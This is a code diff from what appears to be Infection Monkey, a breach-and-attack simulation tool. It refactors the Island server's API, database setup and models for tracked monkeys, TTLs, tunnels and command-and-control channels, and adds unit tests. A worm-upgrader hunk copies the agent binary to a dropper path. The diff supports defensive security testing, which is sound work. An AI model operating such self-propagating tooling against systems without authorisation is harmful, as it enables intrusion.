-from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
+from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS
-from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python
+from infection_monkey.utils.environment import is_windows_os, is_64bit_windows_os, is_64bit_python
__author__ = 'itay.mizeretz'
@@ -37,8 +37,8 @@ class WindowsUpgrader(object):
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
- except (IOError, AttributeError):
- LOG.error("Failed to download the Monkey to the target path.")
+ except (IOError, AttributeError) as e:
+ LOG.error("Failed to download the Monkey to the target path: %s." % e)
return
monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)
diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py
index 205785486..03d30a229 100644
--- a/monkey/monkey_island/cc/app.py
+++ b/monkey/monkey_island/cc/app.py
@@ -23,17 +23,21 @@ from monkey_island.cc.resources.monkey_download import MonkeyDownload
from monkey_island.cc.resources.netmap import NetMap
from monkey_island.cc.resources.node import Node
from monkey_island.cc.resources.remote_run import RemoteRun
-from monkey_island.cc.resources.report import Report
+from monkey_island.cc.resources.reporting.report import Report
from monkey_island.cc.resources.root import Root
from monkey_island.cc.resources.telemetry import Telemetry
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
from monkey_island.cc.resources.pba_file_download import PBAFileDownload
from monkey_island.cc.resources.version_update import VersionUpdate
-from monkey_island.cc.services.config import ConfigService
+from monkey_island.cc.services.database import Database
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.resources.pba_file_upload import FileUpload
-from monkey_island.cc.resources.attack_telem import AttackTelem
+from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
+from monkey_island.cc.resources.attack.attack_report import AttackReport
+
+from monkey_island.cc.resources.test.monkey_test import MonkeyTest
+from monkey_island.cc.resources.test.log_test import LogTest
__author__ = 'Barak'
@@ -97,7 +101,7 @@ def init_app_services(app):
with app.app_context():
database.init()
- ConfigService.init_config()
+ Database.init_db()
# If running on AWS, this will initialize the instance data, which is used "later" in the execution of the island.
RemoteRunAwsService.init()
@@ -121,7 +125,13 @@ def init_api_resources(api):
api.add_resource(NetMap, '/api/netmap', '/api/netmap/')
api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/')
api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/')
- api.add_resource(Report, '/api/report', '/api/report/')
+
+ # report_type: zero_trust or security
+ api.add_resource(
+ Report,
+ '/api/report/',
+ '/api/report//')
+
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
api.add_resource(Log, '/api/log', '/api/log/')
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
@@ -130,9 +140,13 @@ def init_api_resources(api):
'/api/fileUpload/?load=',
'/api/fileUpload/?restore=')
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
- api.add_resource(AttackTelem, '/api/attack/')
+ api.add_resource(AttackConfiguration, '/api/attack')
+ api.add_resource(AttackReport, '/api/attack/report')
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')
+ api.add_resource(MonkeyTest, '/api/test/monkey')
+ api.add_resource(LogTest, '/api/test/log')
+
def init_app(mongo_url):
app = Flask(__name__)
diff --git a/monkey/monkey_island/cc/auth.py b/monkey/monkey_island/cc/auth.py
index 2e7eb69ff..7f15cb45e 100644
--- a/monkey/monkey_island/cc/auth.py
+++ b/monkey/monkey_island/cc/auth.py
@@ -10,8 +10,8 @@ __author__ = 'itay.mizeretz'
class User(object):
- def __init__(self, id, username, secret):
- self.id = id
+ def __init__(self, user_id, username, secret):
+ self.id = user_id
self.username = username
self.secret = secret
diff --git a/monkey/monkey_island/cc/consts.py b/monkey/monkey_island/cc/consts.py
index deb1db449..c302f6fb7 100644
--- a/monkey/monkey_island/cc/consts.py
+++ b/monkey/monkey_island/cc/consts.py
@@ -3,3 +3,4 @@ import os
__author__ = 'itay.mizeretz'
MONKEY_ISLAND_ABS_PATH = os.path.join(os.getcwd(), 'monkey_island')
+DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS = 60 * 5
diff --git a/monkey/monkey_island/cc/database.py b/monkey/monkey_island/cc/database.py
index 8fb3b120b..082553e5f 100644
--- a/monkey/monkey_island/cc/database.py
+++ b/monkey/monkey_island/cc/database.py
@@ -25,3 +25,14 @@ def is_db_server_up(mongo_url):
return True
except ServerSelectionTimeoutError:
return False
+
+
+def get_db_version(mongo_url):
+ """
+ Return the mongo db version
+ :param mongo_url: Which mongo to check.
+ :return: version as a tuple (e.g. `(u'4', u'0', u'8')`)
+ """
+ client = MongoClient(mongo_url, serverSelectionTimeoutMS=100)
+ server_version = tuple(client.server_info()['version'].split('.'))
+ return server_version
diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py
index 1202f299d..a8192fae3 100644
--- a/monkey/monkey_island/cc/environment/__init__.py
+++ b/monkey/monkey_island/cc/environment/__init__.py
@@ -10,13 +10,29 @@ class Environment(object):
__metaclass__ = abc.ABCMeta
_ISLAND_PORT = 5000
- _MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://localhost:27017/monkeyisland")
+ _MONGO_DB_NAME = "monkeyisland"
+ _MONGO_DB_HOST = "localhost"
+ _MONGO_DB_PORT = 27017
+ _MONGO_URL = os.environ.get("MONKEY_MONGO_URL",
+ "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME)))
_DEBUG_SERVER = False
_AUTH_EXPIRATION_TIME = timedelta(hours=1)
- _MONKEY_VERSION = "1.6.3"
+
+ _testing = False
+
+ @property
+ def testing(self):
+ return self._testing
+
+ @testing.setter
+ def testing(self, value):
+ self._testing = value
+
+ _MONKEY_VERSION = "1.7.0"
def __init__(self):
self.config = None
+ self._testing = False # Assume env is not for unit testing.
def set_config(self, config):
self.config = config
@@ -56,3 +72,15 @@ class Environment(object):
@abc.abstractmethod
def get_auth_users(self):
return
+
+ @property
+ def mongo_db_name(self):
+ return self._MONGO_DB_NAME
+
+ @property
+ def mongo_db_host(self):
+ return self._MONGO_DB_HOST
+
+ @property
+ def mongo_db_port(self):
+ return self._MONGO_DB_PORT
diff --git a/monkey/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py
index b27880e07..6115e8dd9 100644
--- a/monkey/monkey_island/cc/environment/environment.py
+++ b/monkey/monkey_island/cc/environment/environment.py
@@ -2,7 +2,10 @@ import json
import logging
import os
+env = None
+
from monkey_island.cc.environment import standard
+from monkey_island.cc.environment import testing
from monkey_island.cc.environment import aws
from monkey_island.cc.environment import password
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
@@ -14,11 +17,13 @@ logger = logging.getLogger(__name__)
AWS = 'aws'
STANDARD = 'standard'
PASSWORD = 'password'
+TESTING = 'testing'
ENV_DICT = {
STANDARD: standard.StandardEnvironment,
AWS: aws.AwsEnvironment,
PASSWORD: password.PasswordEnvironment,
+ TESTING: testing.TestingEnvironment
}
diff --git a/monkey/monkey_island/cc/environment/testing.py b/monkey/monkey_island/cc/environment/testing.py
new file mode 100644
index 000000000..087c3a2e3
--- /dev/null
+++ b/monkey/monkey_island/cc/environment/testing.py
@@ -0,0 +1,10 @@
+from monkey_island.cc.environment import Environment
+
+
+class TestingEnvironment(Environment):
+ def __init__(self):
+ super(TestingEnvironment, self).__init__()
+ self.testing = True
+
+ def get_auth_users(self):
+ return []
diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py
index 412c3c399..5545e79f5 100644
--- a/monkey/monkey_island/cc/main.py
+++ b/monkey/monkey_island/cc/main.py
@@ -6,6 +6,8 @@ import sys
import time
import logging
+MINIMUM_MONGO_DB_VERSION_REQUIRED = "3.6.0"
+
BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
if BASE_PATH not in sys.path:
@@ -19,10 +21,11 @@ json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'isla
logger = logging.getLogger(__name__)
from monkey_island.cc.app import init_app
-from monkey_island.cc.exporter_init import populate_exporter_list
+from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list
from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.environment.environment import env
-from monkey_island.cc.database import is_db_server_up
+from monkey_island.cc.database import is_db_server_up, get_db_version
+from monkey_island.cc.resources.monkey_download import MonkeyDownload
def main():
@@ -31,10 +34,8 @@ def main():
from tornado.ioloop import IOLoop
mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url())
-
- while not is_db_server_up(mongo_url):
- logger.info('Waiting for MongoDB server')
- time.sleep(1)
+ wait_for_mongo_db_server(mongo_url)
+ assert_mongo_db_version(mongo_url)
populate_exporter_list()
app = init_app(mongo_url)
@@ -49,11 +50,40 @@ def main():
ssl_options={'certfile': os.environ.get('SERVER_CRT', crt_path),
'keyfile': os.environ.get('SERVER_KEY', key_path)})
http_server.listen(env.get_island_port())
- logger.info(
- 'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
-
+ log_init_info()
IOLoop.instance().start()
+def log_init_info():
+ logger.info(
+ 'Monkey Island Server is running. Listening on the following URLs: {}'.format(
+ ", ".join(["https://{}:{}".format(x, env.get_island_port()) for x in local_ip_addresses()])
+ )
+ )
+ MonkeyDownload.log_executable_hashes()
+
+
+def wait_for_mongo_db_server(mongo_url):
+ while not is_db_server_up(mongo_url):
+ logger.info('Waiting for MongoDB server on {0}'.format(mongo_url))
+ time.sleep(1)
+
+
+def assert_mongo_db_version(mongo_url):
+ """
+ Checks if the mongodb version is new enough for running the app.
+ If the DB is too old, quits.
+ :param mongo_url: URL to the mongo the Island will use
+ """
+ required_version = tuple(MINIMUM_MONGO_DB_VERSION_REQUIRED.split("."))
+ server_version = get_db_version(mongo_url)
+ if server_version < required_version:
+ logger.error(
+ 'Mongo DB version too old. {0} is required, but got {1}'.format(str(required_version), str(server_version)))
+ sys.exit(-1)
+ else:
+ logger.info('Mongo DB version OK. Got {0}'.format(str(server_version)))
+
+
if __name__ == '__main__':
main()
diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py
new file mode 100644
index 000000000..58e950914
--- /dev/null
+++ b/monkey/monkey_island/cc/models/__init__.py
@@ -0,0 +1,20 @@
+from mongoengine import connect
+
+from monkey_island.cc.environment.environment import env
+
+# This section sets up the DB connection according to the environment.
+# If testing, use mongomock which only emulates mongo. for more information, see
+# http://docs.mongoengine.org/guide/mongomock.html .
+# Otherwise, use an actual mongod instance with connection parameters supplied by env.
+if env.testing:
+ connect('mongoenginetest', host='mongomock://localhost')
+else:
+ connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
+
+# Order of importing matters here, for registering the embedded and referenced documents before using them.
+from config import Config
+from creds import Creds
+from monkey_ttl import MonkeyTtl
+from pba_results import PbaResults
+from command_control_channel import CommandControlChannel
+from monkey import Monkey
diff --git a/monkey/monkey_island/cc/models/command_control_channel.py b/monkey/monkey_island/cc/models/command_control_channel.py
new file mode 100644
index 000000000..3aefef455
--- /dev/null
+++ b/monkey/monkey_island/cc/models/command_control_channel.py
@@ -0,0 +1,11 @@
+from mongoengine import EmbeddedDocument, StringField
+
+
+class CommandControlChannel(EmbeddedDocument):
+ """
+ This value describes command and control channel monkey used in communication
+ src - Monkey Island's IP
+ dst - Monkey's IP (in case of a proxy chain this is the IP of the last monkey)
+ """
+ src = StringField()
+ dst = StringField()
diff --git a/monkey/monkey_island/cc/models/config.py b/monkey/monkey_island/cc/models/config.py
new file mode 100644
index 000000000..cfe128111
--- /dev/null
+++ b/monkey/monkey_island/cc/models/config.py
@@ -0,0 +1,11 @@
+from mongoengine import EmbeddedDocument
+
+
+class Config(EmbeddedDocument):
+ """
+ No need to define this schema here. It will change often and is already is defined in
+ monkey_island.cc.services.config_schema.
+ See https://mongoengine-odm.readthedocs.io/apireference.html#mongoengine.FieldDoesNotExist
+ """
+ meta = {'strict': False}
+ pass
diff --git a/monkey/monkey_island/cc/models/creds.py b/monkey/monkey_island/cc/models/creds.py
new file mode 100644
index 000000000..61322362e
--- /dev/null
+++ b/monkey/monkey_island/cc/models/creds.py
@@ -0,0 +1,9 @@
+from mongoengine import EmbeddedDocument
+
+
+class Creds(EmbeddedDocument):
+ """
+ TODO get an example of this data, and make it strict
+ """
+ meta = {'strict': False}
+ pass
diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py
new file mode 100644
index 000000000..a8a7da2ec
--- /dev/null
+++ b/monkey/monkey_island/cc/models/monkey.py
@@ -0,0 +1,148 @@
+"""
+Define a Document Schema for the Monkey document.
+"""
+from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, ReferenceField, \
+ DateTimeField, DynamicField, DoesNotExist
+import ring
+
+from monkey_island.cc.models.monkey_ttl import MonkeyTtl, create_monkey_ttl_document
+from monkey_island.cc.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS
+from monkey_island.cc.models.command_control_channel import CommandControlChannel
+from monkey_island.cc.utils import local_ip_addresses
+
+MAX_MONKEYS_AMOUNT_TO_CACHE = 100
+
+
+class Monkey(Document):
+ """
+ This class has 2 main section:
+ * The schema section defines the DB fields in the document. This is the data of the object.
+ * The logic section defines complex questions we can ask about a single document which are asked multiple
+ times, somewhat like an API.
+ """
+ # SCHEMA
+ guid = StringField(required=True)
+ config = EmbeddedDocumentField('Config')
+ creds = ListField(EmbeddedDocumentField('Creds'))
+ dead = BooleanField()
+ description = StringField()
+ hostname = StringField()
+ internet_access = BooleanField()
+ ip_addresses = ListField(StringField())
+ keepalive = DateTimeField()
+ modifytime = DateTimeField()
+ # TODO make "parent" an embedded document, so this can be removed and the schema explained (and validated) verbosly.
+ # This is a temporary fix, since mongoengine doesn't allow for lists of strings to be null
+ # (even with required=False of null=True).
+ # See relevant issue: https://github.com/MongoEngine/mongoengine/issues/1904
+ parent = ListField(ListField(DynamicField()))
+ config_error = BooleanField()
+ critical_services = ListField(StringField())
+ pba_results = ListField()
+ ttl_ref = ReferenceField(MonkeyTtl)
+ tunnel = ReferenceField("self")
+ command_control_channel = EmbeddedDocumentField(CommandControlChannel)
+ aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
+ # instance. See https://github.com/guardicore/monkey/issues/426.
+
+ # LOGIC
+ @staticmethod
+ def get_single_monkey_by_id(db_id):
+ try:
+ return Monkey.objects.get(id=db_id)
+ except DoesNotExist as ex:
+ raise MonkeyNotFoundError("info: {0} | id: {1}".format(ex.message, str(db_id)))
+
+ @staticmethod
+ def get_single_monkey_by_guid(monkey_guid):
+ try:
+ return Monkey.objects.get(guid=monkey_guid)
+ except DoesNotExist as ex:
+ raise MonkeyNotFoundError("info: {0} | guid: {1}".format(ex.message, str(monkey_guid)))
+
+ @staticmethod
+ def get_latest_modifytime():
+ if Monkey.objects.count() > 0:
+ return Monkey.objects.order_by('-modifytime').first().modifytime
+ return None
+
+ def is_dead(self):
+ monkey_is_dead = False
+ if self.dead:
+ monkey_is_dead = True
+ else:
+ try:
+ if MonkeyTtl.objects(id=self.ttl_ref.id).count() == 0:
+ # No TTLs - monkey has timed out. The monkey is MIA.
+ monkey_is_dead = True
+ except (DoesNotExist, AttributeError):
+ # Trying to dereference unknown document - the monkey is MIA.
+ monkey_is_dead = True
+ return monkey_is_dead
+
+ def get_os(self):
+ os = "unknown"
+ if self.description.lower().find("linux") != -1:
+ os = "linux"
+ elif self.description.lower().find("windows") != -1:
+ os = "windows"
+ return os
+
+ @staticmethod
+ @ring.lru()
+ def get_label_by_id(object_id):
+ current_monkey = Monkey.get_single_monkey_by_id(object_id)
+ label = Monkey.get_hostname_by_id(object_id) + " : " + current_monkey.ip_addresses[0]
+ if len(set(current_monkey.ip_addresses).intersection(local_ip_addresses())) > 0:
+ label = "MonkeyIsland - " + label
+ return label
+
+ @staticmethod
+ @ring.lru()
+ def get_hostname_by_id(object_id):
+ """
+ :param object_id: the object ID of a Monkey in the database.
+ :return: The hostname of that machine.
+ :note: Use this and not monkey.hostname for performance - this is lru-cached.
+ """
+ return Monkey.get_single_monkey_by_id(object_id).hostname
+
+ def set_hostname(self, hostname):
+ """
+ Sets a new hostname for a machine and clears the cache for getting it.
+ :param hostname: The new hostname for the machine.
+ """
+ self.hostname = hostname
+ self.save()
+ Monkey.get_hostname_by_id.delete(self.id)
+ Monkey.get_label_by_id.delete(self.id)
+
+ def get_network_info(self):
+ """
+ Formats network info from monkey's model
+ :return: dictionary with an array of IP's and a hostname
+ """
+ return {'ips': self.ip_addresses, 'hostname': self.hostname}
+
+ @staticmethod
+ @ring.lru(
+ expire=1 # data has TTL of 1 second. This is useful for rapid calls for report generation.
+ )
+ def is_monkey(object_id):
+ try:
+ _ = Monkey.get_single_monkey_by_id(object_id)
+ return True
+ except:
+ return False
+
+ @staticmethod
+ def get_tunneled_monkeys():
+ return Monkey.objects(tunnel__exists=True)
+
+ def renew_ttl(self, duration=DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS):
+ self.ttl_ref = create_monkey_ttl_document(duration)
+ self.save()
+
+
+class MonkeyNotFoundError(Exception):
+ pass
diff --git a/monkey/monkey_island/cc/models/monkey_ttl.py b/monkey/monkey_island/cc/models/monkey_ttl.py
new file mode 100644
index 000000000..b3e59d5ed
--- /dev/null
+++ b/monkey/monkey_island/cc/models/monkey_ttl.py
@@ -0,0 +1,53 @@
+from datetime import datetime, timedelta
+
+from mongoengine import Document, DateTimeField
+
+
+class MonkeyTtl(Document):
+ """
+ This model represents the monkey's TTL, and is referenced by the main Monkey document.
+ See https://docs.mongodb.com/manual/tutorial/expire-data/ and
+ https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents/56021663#56021663
+ for more information about how TTL indexing works and why this class is set up the way it is.
+
+ If you wish to use this class, you can create it using the create_ttl_expire_in(seconds) function.
+ If you wish to create an instance of this class directly, see the inner implementation of
+ create_ttl_expire_in(seconds) to see how to do so.
+ """
+
+ @staticmethod
+ def create_ttl_expire_in(expiry_in_seconds):
+ """
+ Initializes a TTL object which will expire in expire_in_seconds seconds from when created.
+ Remember to call .save() on the object after creation.
+ :param expiry_in_seconds: How long should the TTL be in the DB, in seconds. Please take into consideration
+ that the cleanup thread of mongo might take extra time to delete the TTL from the DB.
+ """
+ # Using UTC to make the mongodb TTL feature work. See
+ # https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents.
+ return MonkeyTtl(expire_at=datetime.utcnow() + timedelta(seconds=expiry_in_seconds))
+
+ meta = {
+ 'indexes': [
+ {
+ 'name': 'TTL_index',
+ 'fields': ['expire_at'],
+ 'expireAfterSeconds': 0
+ }
+ ]
+ }
+
+ expire_at = DateTimeField()
+
+
+def create_monkey_ttl_document(expiry_duration_in_seconds):
+ """
+ Create a new Monkey TTL document and save it as a document.
+ :param expiry_duration_in_seconds: How long should the TTL last for. THIS IS A LOWER BOUND - depends on mongodb
+ performance.
+ :return: The TTL document. To get its ID use `.id`.
+ """
+ # The TTL data uses the new `models` module which depends on mongoengine.
+ current_ttl = MonkeyTtl.create_ttl_expire_in(expiry_duration_in_seconds)
+ current_ttl.save()
+ return current_ttl
diff --git a/monkey/monkey_island/cc/models/pba_results.py b/monkey/monkey_island/cc/models/pba_results.py
new file mode 100644
index 000000000..d2cc48080
--- /dev/null
+++ b/monkey/monkey_island/cc/models/pba_results.py
@@ -0,0 +1,9 @@
+from mongoengine import EmbeddedDocument, StringField, ListField
+
+
+class PbaResults(EmbeddedDocument):
+ ip = StringField()
+ hostname = StringField()
+ command = StringField()
+ name = StringField()
+ result = ListField()
diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py
new file mode 100644
index 000000000..9646d94bb
--- /dev/null
+++ b/monkey/monkey_island/cc/models/test_monkey.py
@@ -0,0 +1,173 @@
+import uuid
+from time import sleep
+
+from monkey import Monkey
+from monkey_island.cc.models.monkey import MonkeyNotFoundError
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+from monkey_ttl import MonkeyTtl
+
+
+class TestMonkey(IslandTestCase):
+ """
+ Make sure to set server environment to `testing` in server_config.json! Otherwise this will mess up your mongo instance and
+ won't work.
+
+ Also, the working directory needs to be the working directory from which you usually run the island so the
+ server_config.json file is found and loaded.
+ """
+
+ def test_is_dead(self):
+ self.fail_if_not_testing_env()
+ self.clean_monkey_db()
+
+ # Arrange
+ alive_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30)
+ alive_monkey_ttl.save()
+ alive_monkey = Monkey(
+ guid=str(uuid.uuid4()),
+ dead=False,
+ ttl_ref=alive_monkey_ttl.id)
+ alive_monkey.save()
+
+ # MIA stands for Missing In Action
+ mia_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30)
+ mia_monkey_ttl.save()
+ mia_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=mia_monkey_ttl)
+ mia_monkey.save()
+ # Emulate timeout - ttl is manually deleted here, since we're using mongomock and not a real mongo instance.
+ sleep(1)
+ mia_monkey_ttl.delete()
+
+ dead_monkey = Monkey(guid=str(uuid.uuid4()), dead=True)
+ dead_monkey.save()
+
+ # act + assert
+ self.assertTrue(dead_monkey.is_dead())
+ self.assertTrue(mia_monkey.is_dead())
+ self.assertFalse(alive_monkey.is_dead())
+
+ def test_ttl_renewal(self):
+ self.fail_if_not_testing_env()
+ self.clean_monkey_db()
+
+ # Arrange
+ monkey = Monkey(guid=str(uuid.uuid4()))
+ monkey.save()
+ self.assertIsNone(monkey.ttl_ref)
+
+ # act + assert
+ monkey.renew_ttl()
+ self.assertIsNotNone(monkey.ttl_ref)
+
+ def test_get_single_monkey_by_id(self):
+ self.fail_if_not_testing_env()
+ self.clean_monkey_db()
+
+ # Arrange
+ a_monkey = Monkey(guid=str(uuid.uuid4()))
+ a_monkey.save()
+
+ # Act + assert
+ # Find the existing one
+ self.assertIsNotNone(Monkey.get_single_monkey_by_id(a_monkey.id))
+ # Raise on non-existent monkey
+ self.assertRaises(MonkeyNotFoundError, Monkey.get_single_monkey_by_id, "abcdefabcdefabcdefabcdef")
+
+ def test_get_os(self):
+ self.fail_if_not_testing_env()
+ self.clean_monkey_db()
+
+ linux_monkey = Monkey(guid=str(uuid.uuid4()),
+ description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 x86_64")
+ windows_monkey = Monkey(guid=str(uuid.uuid4()),
+ description="Windows bla bla bla")
+ unknown_monkey = Monkey(guid=str(uuid.uuid4()),
+ description="bla bla bla")
+ linux_monkey.save()
+ windows_monkey.save()
+ unknown_monkey.save()
+
+ self.assertEquals(1, len(filter(lambda m: m.get_os() == "windows", Monkey.objects())))
+ self.assertEquals(1, len(filter(lambda m: m.get_os() == "linux", Monkey.objects())))
+ self.assertEquals(1, len(filter(lambda m: m.get_os() == "unknown", Monkey.objects())))
+
+ def test_get_tunneled_monkeys(self):
+ self.fail_if_not_testing_env()
+ self.clean_monkey_db()
+
+ linux_monkey = Monkey(guid=str(uuid.uuid4()),
+ description="Linux shay-Virtual-Machine")
+ windows_monkey = Monkey(guid=str(uuid.uuid4()),
+ description="Windows bla bla bla",
+ tunnel=linux_monkey)
+ unknown_monkey = Monkey(guid=str(uuid.uuid4()),
+ description="bla bla bla",
+ tunnel=windows_monkey)
+ linux_monkey.save()
+ windows_monkey.save()
+ unknown_monkey.save()
+ tunneled_monkeys = Monkey.get_tunneled_monkeys()
+ test = bool(windows_monkey in tunneled_monkeys
+ and unknown_monkey in tunneled_monkeys
+ and linux_monkey not in tunneled_monkeys
+ and len(tunneled_monkeys) == 2)
+ self.assertTrue(test, "Tunneling test")
+
+ def test_get_label_by_id(self):
+ self.fail_if_not_testing_env()
+ self.clean_monkey_db()
+
+ hostname_example = "a_hostname"
+ ip_example = "1.1.1.1"
+ linux_monkey = Monkey(guid=str(uuid.uuid4()),
+ description="Linux shay-Virtual-Machine",
+ hostname=hostname_example,
+ ip_addresses=[ip_example])
+ linux_monkey.save()
+
+ cache_info_before_query = Monkey.get_label_by_id.storage.backend.cache_info()
+ self.assertEquals(cache_info_before_query.hits, 0)
+
+ # not cached
+ label = Monkey.get_label_by_id(linux_monkey.id)
+
+ self.assertIsNotNone(label)
+ self.assertIn(hostname_example, label)
+ self.assertIn(ip_example, label)
+
+ # should be cached
+ _ = Monkey.get_label_by_id(linux_monkey.id)
+ cache_info_after_query = Monkey.get_label_by_id.storage.backend.cache_info()
+ self.assertEquals(cache_info_after_query.hits, 1)
+
+ linux_monkey.set_hostname("Another hostname")
+
+ # should be a miss
+ label = Monkey.get_label_by_id(linux_monkey.id)
+ cache_info_after_second_query = Monkey.get_label_by_id.storage.backend.cache_info()
+ # still 1 hit only
+ self.assertEquals(cache_info_after_second_query.hits, 1)
+ self.assertEquals(cache_info_after_second_query.misses, 2)
+
+ def test_is_monkey(self):
+ self.fail_if_not_testing_env()
+ self.clean_monkey_db()
+
+ a_monkey = Monkey(guid=str(uuid.uuid4()))
+ a_monkey.save()
+
+ cache_info_before_query = Monkey.is_monkey.storage.backend.cache_info()
+ self.assertEquals(cache_info_before_query.hits, 0)
+
+ # not cached
+ self.assertTrue(Monkey.is_monkey(a_monkey.id))
+ fake_id = "123456789012"
+ self.assertFalse(Monkey.is_monkey(fake_id))
+
+ # should be cached
+ self.assertTrue(Monkey.is_monkey(a_monkey.id))
+ self.assertFalse(Monkey.is_monkey(fake_id))
+
+ cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info()
+ self.assertEquals(cache_info_after_query.hits, 2)
+
diff --git a/monkey/monkey_island/cc/models/zero_trust/__init__.py b/monkey/monkey_island/cc/models/zero_trust/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py
new file mode 100644
index 000000000..c3ed52649
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py
@@ -0,0 +1,32 @@
+from common.data.zero_trust_consts import TEST_MALICIOUS_ACTIVITY_TIMELINE, STATUS_VERIFY
+from monkey_island.cc.models.zero_trust.finding import Finding
+
+
+class AggregateFinding(Finding):
+ @staticmethod
+ def create_or_add_to_existing(test, status, events):
+ """
+ Create a new finding or add the events to an existing one if it's the same (same meaning same status and same
+ test).
+
+ :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not
+ when this function should be used.
+ """
+ existing_findings = Finding.objects(test=test, status=status)
+ assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status)
+
+ if len(existing_findings) == 0:
+ Finding.save_finding(test, status, events)
+ else:
+ # Now we know for sure this is the only one
+ orig_finding = existing_findings[0]
+ orig_finding.add_events(events)
+ orig_finding.save()
+
+
+def add_malicious_activity_to_timeline(events):
+ AggregateFinding.create_or_add_to_existing(
+ test=TEST_MALICIOUS_ACTIVITY_TIMELINE,
+ status=STATUS_VERIFY,
+ events=events
+ )
diff --git a/monkey/monkey_island/cc/models/zero_trust/event.py b/monkey/monkey_island/cc/models/zero_trust/event.py
new file mode 100644
index 000000000..6ad728d66
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/event.py
@@ -0,0 +1,36 @@
+from datetime import datetime
+
+from mongoengine import EmbeddedDocument, DateTimeField, StringField
+
+from common.data.zero_trust_consts import EVENT_TYPES
+
+
+class Event(EmbeddedDocument):
+ """
+ This model represents a single event within a Finding (it is an EmbeddedDocument within Finding). It is meant to
+ hold a detail of the Finding.
+
+ This class has 2 main section:
+ * The schema section defines the DB fields in the document. This is the data of the object.
+ * The logic section defines complex questions we can ask about a single document which are asked multiple
+ times, or complex action we will perform - somewhat like an API.
+ """
+ # SCHEMA
+ timestamp = DateTimeField(required=True)
+ title = StringField(required=True)
+ message = StringField()
+ event_type = StringField(required=True, choices=EVENT_TYPES)
+
+ # LOGIC
+ @staticmethod
+ def create_event(title, message, event_type, timestamp=datetime.now()):
+ event = Event(
+ timestamp=timestamp,
+ title=title,
+ message=message,
+ event_type=event_type
+ )
+
+ event.validate(clean=True)
+
+ return event
diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py
new file mode 100644
index 000000000..df4eb12f7
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/finding.py
@@ -0,0 +1,60 @@
+# coding=utf-8
+"""
+Define a Document Schema for Zero Trust findings.
+"""
+
+from mongoengine import Document, StringField, EmbeddedDocumentListField
+
+from common.data.zero_trust_consts import ORDERED_TEST_STATUSES, TESTS, TESTS_MAP, TEST_EXPLANATION_KEY, PILLARS_KEY
+# Dummy import for mongoengine.
+# noinspection PyUnresolvedReferences
+from monkey_island.cc.models.zero_trust.event import Event
+
+
+class Finding(Document):
+ """
+ This model represents a Zero-Trust finding: A result of a test the monkey/island might perform to see if a
+ specific principle of zero trust is upheld or broken.
+
+ Findings might have the following statuses:
+ Failed ❌
+ Meaning that we are sure that something is wrong (example: segmentation issue).
+ Verify ⁉
